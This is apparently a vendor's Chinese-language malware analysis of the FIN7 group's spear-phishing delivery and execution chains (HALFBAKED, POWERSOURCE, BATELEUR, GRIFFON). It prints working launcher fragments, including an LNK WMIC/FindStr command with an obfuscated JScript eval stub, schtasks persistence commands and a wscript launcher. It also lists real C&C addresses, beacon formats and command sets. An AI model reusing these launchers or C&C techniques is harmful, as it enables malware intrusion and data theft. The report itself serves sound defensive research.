FIN7组织复盘分析-PART1-投递与执行

2018年8月1日,美国司法部发布了三项联邦起诉书,以26项重罪,罪名是阴谋,电汇欺诈,计算机黑客,访问设备欺诈以及严重的身份盗用等逮捕了该团伙三位领导者,分别是现年44岁的乌克兰国民Dmytro Fedorov和33岁的Fedir Hladyr和30岁的Andrii Kolpakov。

2019年9月11日,FIN7的头目对10亿美元的网络犯罪事实供认不讳,并签署认罪协议。至此,FIN7的风波才逐渐平息。

前言

组织简介

FIN7是一家先进的,以金融为目标的组织,其活动最早始于2015年。

该组织历来以美国零售,餐饮和酒店业公司为目标,初始感染环节采用精心设计的鱼叉式钓鱼活动。

一旦进入受害者的网络中,该组织便利用类似于APT的行为来维持和扩大立足点,直到他们完成目标或具备获取信息的能力。

据悉,从2015年开始,FIN7成员就针对100多家美国公司开展了高度复杂的恶意软件活动。

通过入侵了数以千计的计算机系统,窃取了百万计的客户信用卡和借记卡号,出售并牟利。

仅在美国,FIN7就成功突破了47个州和哥伦比亚特区的公司的计算机网络,从3,600多个单独营业地点的6,500多个销售点中窃取了1500万张客户卡记录。

该组织的结构和起源在安全行业中已曾经过激烈的辩论,在他们的一些活动中使用了西里尔字符集,这表示其成员具有俄罗斯或东欧血统。

该组织条理并结构化的运营以及他们适应和更改TTP的规模和速度表明,FIN7是大规模的网络犯罪团伙。

2018年8月1日,美国司法部发布了三项联邦起诉书,以26项重罪,罪名是阴谋,电汇欺诈,计算机黑客,访问设备欺诈以及严重的身份盗用等逮捕了该团伙三位领导者,分别是现年44岁的乌克兰国民Dmytro Fedorov和33岁的Fedir Hladyr和30岁的Andrii Kolpakov。 [1]

2019年9月11日,FIN7的头目对10亿美元的网络犯罪事实供认不讳,并签署认罪协议。[2]

至此,FIN7的风波才逐渐平息。

关于伏影实验室

伏影实验室专注于安全威胁研究与监测技术,包括但不限于威胁识别技术,威胁跟踪技术,威胁捕获技术,威胁主体识别技术。研究目标包括:僵尸网络威胁,DDOS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁 及 新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。

统一投递手段下的不同技术实现

2015至2018年,伏影实验室收集到了百余例FIN7组织样本。三年时间内,其样本具体的技术实现发生了或多或少的变化,但投递方式一直以鱼叉邮件为主,不难看出FIN7对这种投递模式的钟爱。从攻击出发点来看,鱼叉攻击应是发动攻击成本最低的模式;从攻击结果来看,鱼叉中的社会工程学的确帮助FIN7赚得盆满钵满。

FIN7在三年的持久活动中,多次更新了投递技术,其形成主流的主要有HALFBAKED, POWERSOURCE, BATELEUR, GRIFFON。

各类型攻击技术比重分布

其中,HALFBAKED在我们随机抽样的样本群中所占比例最高。

各类型攻击技术随时间线的分布情况

HALFBAKED作为攻击链中的常青藤,贯穿了FIN7组织从创生到灭亡的始末,成为组织成员在攻击中偏爱的手段。

2017年下半年,BATELEUR载荷批量出现,这种新兴的攻击手段将HALFBAKED化繁为简,既不失精巧,又避免了冗余的投放过程。

2018年第二季度,该组织再度将投递技术简化,原先固化内嵌DROPPER的功能被替换为DOWNLOADER,这就是GRIFFON,一个充满着变数的下载者。

常青藤HALFBAKED

HALFBAKED是FIN7组织频繁使用的js后门,搭载于钓鱼邮件投递的docx或rtf文档中。

HALFBAKED由多个脚本模块组成,通过脚本和windows任务实现持久化。

HALFBAKED主体为远控木马,与C&C通信,可进行包括获取信息、操作文件、执行脚本、运行程序、自更新和截屏等行为。

HALFBAKED还可以使用ps脚本运行dll类型的攻击载荷,常见的dll载荷为Beacon受控端和窃密工具。

攻击特征及流程概述

HALFBAKED从恶意docx文档开始释放的组件及调用关系如下图,需要注意的是,部分组件在与C&C建立通信后会通过下载的方式在文件夹下产生更多组件,为了避免过度复杂这一部分没有添加到图中:

HALFBAKED攻击普遍包含以下特征:

  1. 使用相同的欺骗图片;
  2. 各模块文件统一的命名格式[0-9a-f]{14}\.[0-9]{8}\.(txt|ps1|dll|js);
  3. C&C服务器开启53,80,443,8080端口;
  4. 使用windows task xml脚本实现持久化。

攻击流程分析

鱼叉邮件投递过程

该阶段文件是典型的鱼叉邮件附件,使用图片欺骗用户点击并运行其中的ole对象。

诱骗图片如下所示:

用户双击图片后,一个lnk类型的文件恶意载荷被释放至用户temp目录并运行。

加载与感染过程

被释放的lnk文件名为unlock.doc.lnk,该文件执行以下命令:

"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd start /min cmd /c for /f \"usebackq delims=\" %x in (`FindStr /R /C:\"@#[0-9]#@\" \"C:\Users\admin\AppData\Local\Temp\unlock.doc.lnk\"`) do %x|cmd >nul 2>&1 &"

运行以上命令后,cmd寻找unlock.doc.lnk中的以下字符串并执行:

  1. echo /*@#8#@*/try   
  2. {  
  3.     sh = new ActiveXObject("Wscript.Shell");  
  4.     fs = new ActiveXObject("Scripting.FileSystemObject");  
  5.     p = sh.ExpandEnvironmentStrings("%TM" + "P%");  
  6.     f = fs.GetFile(p + "//unlock.doc.lnk");  
  7.     s = f.OpenAsTextStream(1, 0);  
  8.     c = s.Read(2397);  
  9.     c = s.ReadAll();  
  10.     s.Close();  
  11.     this[String.fromCharCode(101) + 'va' + 'l'](c);  
  12. catch(e) {} > %HOMEPATH%\t.txt  & wscript //b /e:jscript %HOMEPATH%\t.txt  >nul 2>&1 &  

此后,unlock.doc.lnk文件中的js脚本将被执行。

该js脚本将制作包含欺骗信息文本的文档并显示,欺骗信息如下所示:

同时在[USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}目录下创建以下多个文件:

59b91deade4ac2.47095391.txt

59b91deade4b13.93102800.txt

59b91deade4bc3.92761323.txt

59b91deade4cf5.89108741.txt

59b91deade4d35.36714463.txt

59b91deade4da4.32920409.txt

59b91deade4db2.87384273.txt

59b91deade4dd4.72047085.txt

其后运行59b91deade4ac2.47095391.txt和59b91deade4da4.32920409.txt两个文件,部署和启动HALFBAKED的两个主要攻击模块。

通过使用上述多个脚本文件,HALFBAKED可实现持久化、C&C通信、载荷投递等功能。

各文件对应以下模块功能:

Module Description
59b91deade4ac2.47095391.txt 第一攻击模块的启动和持久化脚本,会循环执行59b91deade4b13.93102800.txt和59b91deade4bc3.92761323.txt两个脚本,间隔等待时间为3分钟。
59b91deade4b13.93102800.txt 尝试读取59b91deade4db2.87384273.txt中的信息,用%SEP%拆分后保存为59b91deade4c26.97054100.txt;
若59b91deade4db2.87384273.txt中没有%SEP%分隔的数据,则向指定C&C网址请求信息并保存至59b91deade4c26.97054100.txt。
59b91deade4bc3.92761323.txt 读取59b91deade4c26.97054100.txt中的数据,并根据获得的数据执行对应的脚本。
59b91deade4cf5.89108741.txt xml模板文件,作用为设置计划任务,当计算机空闲时执行%jsPath%所指定的js脚本。
59b91deade4d35.36714463.txt xml模板文件,作用为设置计划任务,当计算机空闲时执行%jsPath%所指定的js脚本,不同点在于可使用%jsTime%指定触发时间。
59b91deade4db2.87384273.txt 包含加密的初始运行参数,各组参数由%SEP%分隔,默认初始命令为:
cmd_id:1505304043.1%SEPR%cmd_type:processList%SEPR%cmd_param:%SEPR%cmd_body:
cmd_id:1505304043.2%SEPR%cmd_type:cmdprompt%SEPR%cmd_param:JXx8JQ==%SEPR%cmd_body:d21pYyBDb21wdXRlclN5c3RlbSBHRVQgUGFydE9mRG9tYWluLERvbWFpbixOYW1lLE1vZGVsLFVzZXJOYW1lLFN5c3RlbVR5cGUsTWFudWZhY3R1cmVyIC92YWx1ZQ==
59b91deade4dd4.72047085.txt 存放母体doc文件信息
59b91deade4c26.97054100.txt 存放将要执行的指令
59b91deade4da4.32920409.txt 第二攻击模块的启动和持久化脚本,通过以下行为,展开powershell攻击模块:
创建文件夹[USER]\{403AD704-6148-4B6A-79FF-126B182812A7}并在该目录下创建59b91deade4d88.63805408.txt文件
使用[USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}\59b91deade4d35.36714463.txt为模板文件创建xml脚本,保存为[USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}\59b91deade4d52.82418882.xml
执行cmd命令schtasks /Create /F /TN {81FA0603-C097-6637-DB52-2674A0D7914C} /XML [USER]\{A62F2125-BC4A-579F-8DB4-4878CC73EA04}59b91deade4d52.82418882.xml, 执行延迟为2分钟
检查xml脚本是否正常运行,若未运行则重新运行59b91deade4d88.63805408.txt。
59b91deade4d52.82418882.xml 该xml文件注册windows计划任务,每10分钟执行一次59b91deade4d88.63805408.txt脚本。
59b91deade4d88.63805408.txt 执行内藏的powershell脚本59b91deade4d60.83370116.ps1,读取脚本的运行结果并传送给C&C
59b91deade4d60.83370116.ps1 reflective dll loader脚本,释放dll程序stealer_component_refl.dll并将其写入系统内存运行
stealer_component_refl.dll 窃密木马,将收集到的浏览器密码放入%APPDATA%\userName.ini当中供59b91deade4d88.63805408.txt读取
与C&C连接过程

HALFBAKED木马的主要C&C通信模块为59b91deade4b13.93102800.txt,主要使用HTTP协议通信。此外,模块59b91deade4bc3.92761323.txt和59b91deade4d88.63805408.txt也会使用同样的格式将获取到的数据发送给C&C。

以下为请求格式:

GET/POST urlArr?[randname]=encryptedstr&[randname]=base64uniqueid&[randname]=[randdata]&[randname]=[randdata]…
  • urlArr

该部分包含以下URL,木马会尝试连接其中可用的网址:

“http://195.54.162.245:80/cd”

“http://195.54.162.245:443/cd”

“http://195.54.162.245:8080/cd”

“http://195.54.162.245:53/cd”

“https://script.google.com/macros/s/AKfycbxvGGF-QBkaNIWCBFgjohBtkmyfyRpvm91yCGEvzgDvAJdqfW8_/exec”

  • encryptedstr

该字段包含加密内容,使用base64与置换加密方式进行加密,置换加密的原始序列为”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789″,置换序列为”dI0ptFXv3Oh8reG5DfgYRQN2y9cBEKlLjJCqP4VTUzWxska6nwSbAZHm17Muoi”。

59b91deade4b13.93102800.txt通信时,该字段包含主机信息,原始数据格式为 “3-1-sp1309-” + base64driveserialnumber + macaddr + “_BFiL253b”;

59b91deade4bc3.92761323.txt通信时,该字段包含执行C&C命令后产生的数据;

59b91deade4d88.63805408.txt通信时,该字段包含窃密工具收集到的内容。

  • base64uniqueid

用于区分脚本的序列号,该脚本序列号为MTg2(186)。

  • [randname]

2-11位随机字符串。

  • [randdata]

1-12位随机字符串。

攻击执行过程

通信模块从C&C获取到的指令由59b91deade4bc3.92761323.txt负责执行,通过解密数据,该脚本可以执行来自C&C服务器的以下命令:

info 获取主机信息,包括Computer name, Domain, User name, Processor architecture, System architecture, Local Time Zone, OSinfo等,并发送至C&C
processList 获取当前进程列表并发送至C&C
ScreenSection 截取当前屏幕并发送至C&C
runvbs 运行C&C下发的vbs脚本
runexe 运行C&C下发的exe程序
runps1 运行C&C下发的powershell脚本
delete 删除C&C指定的文件
update 更新C&C指定的文件
updateBec 更新由powershell加载的beacon载荷,ps加载器名为59b91deade4c92.96641107.ps1
cmdprompt 运行C&C下发的cmd命令,命令使用base64加密
tinymet 运行TinyMet载荷,使用的加载器名为59b91deade4c73.80571966.js

此外。根据投放载荷的不同,HALFBAKED还可以使用CSBeacon或TinyMet展开其他攻击,这两个载荷隶属于攻击框架Cobalt Strike和Metasploit,不另行叙述。

攻击技术总结

严格来说,HALFBAKED后门并不是一款软件,而是一套由多个模块组成的框架。由于这些模块之间耦合度较低,替换单个或多个模块非常容易,这导致HALFBAKED在生存周期内出现了大量变种,也增加了对该木马的检测难度。

HALFBAKED典型变种差异包含以下几类:

  • powershell脚本加载载荷Cobalt Strike Beacon

HALFBAKED会投递使用反射加载方式启动的DLL攻击载荷,除窃密工具stealer_component_refl以外,Cobalt Strike Beacon也是其常用载荷。

Beacon载荷并非直接加载,而是由powershell脚本中的一段引导shellcode从指定C&C服务器中获取并执行,该shellcode中记录了明文的C&C域名,域名有固定的格式:

aaa.stage.[random_number].[random_string].[random_string].com

示例如下:

shellcode使用DNS协议与该C&C通信,并获取C&C回传的DNS TXT信息中的第二阶段shellcode,载入运行后最终启动Beacon载荷。

  • 使用vbs脚本作为模块主体

与上文展示的以js脚本作为主体的框架思路不同,有一部分HALFBAKED后门使用vb作为主要设计语言,但其模块间调用方式与js版本类似。

此外,由于模块由多个脚本组成,HALFBAKED会积极使用各种脚本混淆方式来对抗检测,这一点在vbs版本中尤为明显。

昙花一现POWERSOURCE

与HALFBAKED相似,POWERSOURCE也是FIN7组织使用的鱼叉攻击载荷。该后门主体为ps脚本,使用DNS隧道与C&C通信,并执行C&C下发的Powershell代码。

攻击特征及流程概述

POWERSOURCE后门具有以下特征:

  1. 全部攻击过程使用非PE实现,钓鱼使用doc文件,后门使用powershell文件。
  2. 使用ADS数据隐藏保存在磁盘中的非PE文件
  3. 后门文件保存在注册表中,功能由Powershell实现
  4. 与C&C通信使用DNS协议的TXT记录
  5. C&C地址从多个硬编码的地址中随机选择

攻击流程分析

鱼叉邮件投递过程

文档中采用了多种伪装方式。

1.伪装成受到McAfee保护,或伪装成美国证券交易管理委员会的许可文件,要求启用宏功能,以执行VBA宏代码。

2.伪装成受到McAfee或微软Office保护,要求点击图片,实则运行VBS脚本代码。在图片上右键点击packager shell object对象,查看其properties即见代码。

3.伪装成美国证券交易管理委员会的许可文件,使用Office的动态数据交换(DDE)技术,在Formula中嵌入代码使其在文档打开时自动执行,可绕过宏限制。

文档下方会出现一行”!Unexpected End of Formula”,右键选择编辑域,可在域代码看到要执行的代码部分,或者切换域代码。

加载与感染过程

VBA和VBS脚本旨在解码Powershell代码并执行。

大部分VBA宏代码包含两万多行,但只有开头和中间部分有代码,其余用空白不可见字符填充。去混淆后代码如下:

或者从远程站点下载Powershell执行。

木马安装过程

Powershell代码分两层,外层代码用于安装内层代码并创建持久性。内层代码负责与C&C通信连接。根据Powershell版本的不同,安装方式也不同。根据当前用户是否是系统管理员,创建持久性的方式也有所区别。

保存内层代码

当Powershell版本大于2.0时,使用了set-content命令的新参数-stream来将内层Powershell代码存于本地ADS中。ADS (alternate data stream) 是一种在文件中隐藏数据的方式,即将数据隐藏在文件MFT记录的$DATA属性中。这样当用户直接检查该文件时将无法看到相关内容。

Powershell版本号 安装内层Powershell代码方式
大于2.0 存储于ADS中
小于等于2.0 压缩编码后存在注册表中

       代码解混淆后如下:

创建持久性
当前用户是否是系统管理员 持久驻留方式
WMI事件实现开机启动
注册表启动项实现开机启动,代码保存在本地ADS中,开机使用wscript读ADS内容执行。

开机启动时的注册表路径,根据用户是否是管理员也不一样。

对于管理员方式,将Windows登录的WMI事件与执行内层Powershell的命令行事件绑定,从而实现开机执行。命令行用于从本地ADS或注册表中获取内层Shellcode以执行。

这样,根据用户是否是管理员和Powershell版本,一共可组合出四种方式。

  • 若当前用户是管理员,且Powershell版本大于2.0时,由于内层Powershell是存于本地ADS中,所以命令行内容自然是从本地ADS取出代码并执行。
  • 若当前用户是管理员,且Powershell版本小于2.0时,由于内层Powershell存于注册表,所以命令行自然是从注册表取出代码并执行。不同的是,此处将从注册表读内层Powershell代码并执行的代码编码后也保存在注册表中,故命令行的职责是从该注册表里读代码并执行。
  • 若当前用户不是管理员,且Powershell版本大于2.0,则使用注册表启动项设置wscript命令行,VBS命令保存在本地ADS中,开机时从本地ADS取出内层Powershell代码并执行。
  • 若当前用户不是管理员,且Powershell版本小于等于2.0,则使用注册表启动项保存wscript命令行。此处会保存两部分代码到注册表,第一部分是Powershell代码,将从注册表读内层Powershell代码并执行;第二部分是wscript命令执行VBS(VBS代码保存在本地ADS中),保存在注册表启动项,目的是从注册表里读出第一部分代码并执行。

除此之外,有的版本还存在非持久性的模式,只是将代码保存在本地ADS或注册表中,然后执行代码而已。

所有样本设置ADS所在文件路径均为”%ProgramData%\Windows”。设置ADS名称时,使用一个基本名称,根据不同情况追加后缀。例如,当基本名称为xyz时,则保存内层代码的本地ADS名称为xyz.dll;保存开机执行的VBS代码的本地ADS名称为xyz.vbs;非管理员时使用的开机启动注册表项名称为xyz。

文档 ADS基本名称与开机注册表项名
2abad0ae32dd72bac5da0af1e580a2eb 6ff3272cd9edf115230bad6a55cb3ca8 kernel32
032fe02e54a010d21fd71e97596f4101 CiscoAnyconnect
14334c8f93f049659212773ecee477a2 d04b6410dddee19adec75f597c52e386 CtxDnsClient
37d323ffc33a0e1c6cd20234589a965d NovellClient
5a88e3825c5e89b07fa9050b6b6eca7c 8fa8d4c30429c099dc7e565e57db55c0 CiscoUpdate
ccd2372bb6b07f1b5a125e597005688d Certificates
f20328b49ec605fd425ed101ff31f14b f74958adcfb11abcb37e043013f6a90f GoogleUpdate

但也有不一样的地方,例如文档7bd2235f105dee20825b4395a04892bf关联的Powershell中,

三种名称分别为kernel32.dll、p.vbs和GoogleUpdate。

与C&C连接过程

与C&C通信时,使用查询DNS的方法。当待查域名被发送至攻击者控制的DNS服务器时,指令便放在TXT记录中返回给肉鸡。肉鸡收到返回的DNS查询结果后,取含有双引号的一行,按双引号分割,取第一项作为指令。

       一共要查两次,第一次得到一级指令,第二次得到最终指令。

有的Powershell会从一组域名中随机选取一个作为要查询的一级二级或三级域名,而有的会使用固定的域名。如果是第一次查询时域名是随机选取的,那么第二次查询也会随机选取,两次都将在选取域名基础上添加次级域名进行查询。

更多情况是给定固定的一级到三级域名进行查询,不再添加次级域名

个别样本需要进行三次查询:

api3.fredbanan.com、content3.fredbanan.com、mail28.fredbanan.com

mx mx2

攻击执行过程

通过两次DNS查询得到最终要执行的Powershell指令,且不重复执行上一次的指令。

一级指令(startcode 行为
“idle” 睡眠,有的样本不存在该指令。
“stop” 退出程序。
获取最终指令(cmdstring) 进行第二次DNS查询,以获得最终要执行的Powershell代码。

个别文档的代码对一级指令增加了其他条件判断,进行循环查询,域名格式为

num.psdomain,其中num在循环中不断增加,并对每次查询的结果作字符替换后作连接,循环结束后再解码解压出最终的Powershell代码。

攻击技术总结

同样是鱼叉邮件载荷,POWERSOURCE使用以下方式特化了隐匿性:

  1. 使用本地ADS来保存代码,虽然从Windows XP后的系统禁止从ADS里直接执行程序,但在里面可以存放代码,方式非常隐蔽,用户直接打开相关文件根本看不到内容,给排查会带来一定困难。
  2. 使用DNS隧道通信,在流量上做了隐藏操作,不易检测。

由此可以推断,POWERSOURCE可能被FIN7用于攻击有一定防御检测能力的目标。

藕断丝连BATELEUR

从四种技术的时间线来看,BATELEUR是经过折衷设计的,这种攻击技术移除了HALFBAKED的冗长释放及繁琐调用,却也不像GRIFFON那样单纯为了扩充性而存在,它延续了HALFBAKED JS木马的精巧设计,实现了简约明了的功能,同时将复杂度转移到其组件Tinymet作为有力的扩充。

攻击特征及流程概述

  1. 全部攻击过程使用非PE实现,钓鱼文档使用doc文件,后门使用JS木马。
  2. Dropper保存在VB窗体的标题或框体文本中。
  3. 最终载荷经过Dropper拼接而成,起到了一定的免杀效果。

攻击流程分析

鱼叉邮件投递过程

投递文档内容被精心伪装成具备端到端服务的POS(销售时点信息)系统推送介绍。文档提示用户需要:

  1. 启用编辑功能
  2. 启用宏功能

辅以多场景的贩售点图片,诱导受害者根据上述指导完成执行操作。

加载与感染过程

当按照文档指示启用宏代码后,可得到如下的vbs宏文件

该脚本负责将嵌入vbs窗体的文本写入临时目录的crashpad.ini文件中,并通过

cmd.exe /c wscript.exe //b /e:jscript %USERPROFILE%\AppData\Local\Temp\crashpad.ini执行。

木马安装过程

上述嵌入vbs的窗体的文本即为一段js脚本:

通过将!!!替换为空格并以|*|分割得到如下js脚本。

可见,在文档头部有伪装的Adobe版权样式。脚本使用了长变量名来干扰分析者视线,经简单的替换处理,可发现木马通过拼接字符串构造中间函数,用于处理后面的单字符组成的代码片段

经最终处理得到BATELEUR木马完整载荷:

通过木马基础配置,可以看出BATELEUR版本为1.0.8,for_pentesters字段中的阿拉伯文含义为“我们将为您的孩子复仇,并奉上帝的名义恢复正义”,然而在经过我们调研多个同类型投递样本时,发现此处的语言各不相同,故不能通过语言来鉴别攻击者的国家属性。此字段仅起到迷惑作用。

样本首次执行时,会将自身复制到

%APPDATA%\\Microsoft\\Windows\\install_dir路径下,该样本中install_dir为{5d506677-4de2-7bf3-a068-b17e7e65416f}

同时会通过如下指令完成持久化:

shellobj.Run('schtasks /Create /f /tn "Adobe Acrobat Player Task" /tr "wscript.exe //b /e:jscript ' + file_path + '" /sc minute /mo ' + knock_timeout, false);

以计划任务方式每分钟执行一次,从C&C接收指令并执行。

同时,样本中具有对抗代码,虽然并未被调用执行。

BATELEUR包含以下对抗方式:

反虚拟机:

  1. 从SMBIOSBIOSVersion中检索是否含有Virtualbox及vmware字段。
  2. 从SerialNumber中检索是否含有vmware及parallels字段。
  3. 从DeviceID中检索是否含有vmware,PCI\\VEN_80EE&DEV_CAFÉ,VMWVMCIHOSTDEV字段。

反分析:

  1. 从进程列表中检索是否包含autoit3.exe, dumpcap.exe, tshark.exe, prl_cc.exe。
  2. 比较脚本文件名是否为malware, sample, mlwr, Desktop。
与C&C连接过程

BATELEUR采用HTTPS加密通信,在其首次执行时,会向C&C发出如下格式的信息(通过中间人劫持解密)

Keyword Meaning
version BATELEUR木马版本
bid 受害者主机磁盘卷序列号
group 行动名称
key 行动所使用key

经分析,木马的请求格式具备以下两种格式:

  • POST https://panel_link/page.php?page= localdiskserial &page_id=number”
  • POST https://panel_link/?page= get_parr

其中panel_link为C&C服务器地址,localdiskserial为本地磁盘卷序列号,number为每种木马功能的数字编号,get_parr为当前执行指令/功能的名称。

在接收C&C指令时,以|*|分隔,示例如下:

攻击执行过程

通过与C&C建立连接,BATELEUR支持接收如下指令并执行功能:

Command Fucntion
get_information 1. 磁盘卷序列号,网卡MAC
2. 用户名,机器名
3. 所属域名
4. 机器厂商及操作系统版本
5. 屏幕尺寸
6. 网络连接视图
7. ARP表
8. UAC权限开关
get_process_list 枚举进程,返回具备”ProcessName*PID|”样式的结果
kill_process 根据进程号结束指定进程
uninstall 卸载
update 更新JS木马并覆写
tinymet 下载Tinymet组件
exe 下载EXE文件,保存为Feed.mxls,通过命令行启动
wexe 下载EXE文件,保存为log.ini,通过WMI启动
dll 下载dll文件,保存为log.cmd,通过regsvr32启动
cmd 通过CMD执行下发指令
powershell 通过CMD调用POWERSHELL执行命令
apowershell 通过POWERSHELL执行指令
wpowershell 通过WMI执行POWERSHELL命令
get_screen 下载具有截图功能的PS脚本,并执行截图功能,图片另存为screenshot.png
get_apps 下载模块,斌通过POWERSHELL执行
get_passwords 下载POWERSHELL脚本,用于窃取密码
timeout break,无意义

攻击技术总结

  • BATELEUR在HALFBAKED的基础上取消了多模块配合的设计,将扩展性通过下载并执行的方式作为主要延伸,从而大大减小了木马的体积。
  • BATELEUR通过将木马核心模块隐藏在经常被忽略的框体标题或正文中,避免查杀,可谓别出心裁。
  • BATELEUR将核心代码通过字符拼接的方式组成,增强了对抗性。

在我们的调查中,BATELEUR一直在更新自己的版本,并为每个版本制定了行动代号:

Version Group C&C
1.0.4.1JS ru_vds1 195.133.48.65
1
.0.5
public 217.23.155
.19
1.0.6 translate1 31.184.234.66
1.0.6 new_public 85.93.2.56
1.0.8 call 85.93.2.73/185.20.184.109/5.188.10.102/95.46.45.128
1.0.8 mass_send 185.220.35.20

雨后春竹GRIFFON

GRIFFON是近年来FIN7常用的JS脚本木马之一,同样使用鱼叉邮件投放,通过doc文档中的vbs脚本执行,可以运行C&C下发的JS攻击脚本。

攻击特征及流程概述

GRIFFON常见执行流程如下图:

其攻击特征集中于鱼叉邮件附件文档部分,包括使用类似的诱骗图片和类似的错误提示信息;

脚本方面,GRIFFON会使用几类混淆方式对代码进行混淆。

攻击流程分析

鱼叉邮件投递过程

GRIFFON的原始载荷为鱼叉邮件中附带的doc文档,文档通过运行隐藏的vbs脚本进行攻击。部分doc文档带有密码,会在鱼叉邮件中给出。

打开文档后,显示类似下图的所示的诱饵图片,欺骗用户启用编辑模式并执行脚本。

加载与感染过程

doc文档内嵌vba脚本,启动后会显示欺骗信息,同时释放并执行一个js脚本。

原始doc文档显示的欺骗信息内容并不固定,但大都声称解密运行中或运行错误:

木马安装过程

vb脚本通过执行以下命令运行GRIFFON主程序:

cmd.exe /k "SET a01=wscr& SET a02=ipt&&call %a01%%a02% /e:jscript //b C:\Users\admin\AppData\Local\Temp\errors.txt
wscript /e:jscript //b C:\Users\admin\AppData\Local\Temp\errors.txt
C&C通信连接过程

errors.txt是js脚本,即GRIFFON后门主体,主要功能为连接C&C服务器并执行服务器下发的攻击脚本。

脚本执行时首先会尝试使用http post链接以下URL并获取指令:

https[:]//cdn-googleapi.com/[pathes]/[files]?index=page

[pathes]在以下字段中随机选取:

‘images’,’image’,’content’,’fetch’,’cdn’

[files]在以下字段中随机选取:

‘create_logo’,’get_image’,’create_image’,’show_ico’,’show_png’,’show_jpg’

post包中带有以下信息:

‘group=public&secret=fjhj676cgh873wdfvew&time=120000&uid=’ + uniq_id + ‘&id=’ + id + ‘&’ + data

其中uniq_id为脚本启动时获取的时间戳,id由mac地址和DNSHostName组成。

以上信息经过加密处理,加密方式为异或,随机异或键为数值1000~10000之间的ascii字符:

最终将加密后字符串与随机异或键一同发送至上述URL,格式为:

encrypted_string + ‘!!’ + xor_key

CC服务器在接收POST信息后会返回加密的js脚本,受控端会解密该脚本并执行:

解密逻辑与加密逻辑相同:

该脚本会用以上方式持续与C&C通信。

攻击执行过程

GRIFFON木马通过运行C&C投递的JS模块进行接下来的攻击。以往数据显示,GRIFFON通常会投放以下模块:

信息收集模块

用于收集被攻陷主机信息,并回传给C&C。

持久化模块

该脚本将GRIFFON储存至注册表中以实现持久化。

Screenshot

该脚本用于屏幕截图,并回传给C&C。

Tinymet

Tinymet是Meterpreter的前置脚本,GRIFFON通过该脚本在被攻陷主机上植入Meterpreter后门。

攻击技术总结

同为FIN7的JS脚本形式鱼叉邮件载荷,GRIFFON与HALFBAKED的设计思路截然相反。相比HALFBAKED复杂的多模块交互式构成,GRIFFON被设计得非常简洁,它的唯一功能就是渗透,其后所有攻击和持久化行为由C&C决定,这大大增加了木马的灵活度。

FIN7.5与GRIFFON

在2019年5月的报告中,卡巴斯基称FIN7在2018下半年到2019年间依然活跃,并组织了多次攻击。卡巴斯基将此期间的攻击活动称为FIN7.5。

本次FIN7.5活动中主要使用的工具依然是GRIFFON,通过鱼叉邮件载荷展开攻击活动。

我们统计了已有GRIFFON样本的出现时间,发现其分布与卡巴斯基报告描述相符:

如上图所示,19年年初的GRIFFON样本数量明显增加,这表明FIN7组织在经历过2018年一次成员被逮捕事件后,再一次组织起了攻击能力,继续威胁多个国家的网络安全。

Meet The Author

伏影实验室专注于安全威胁与监测技术研究。研究目标包括僵尸网络威胁,DDoS对抗,WEB对抗,流行服务系统脆弱利用威胁、身份认证威胁,数字资产威胁,黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险,缓解威胁伤害,为威胁对抗提供决策支撑。

Leave Comment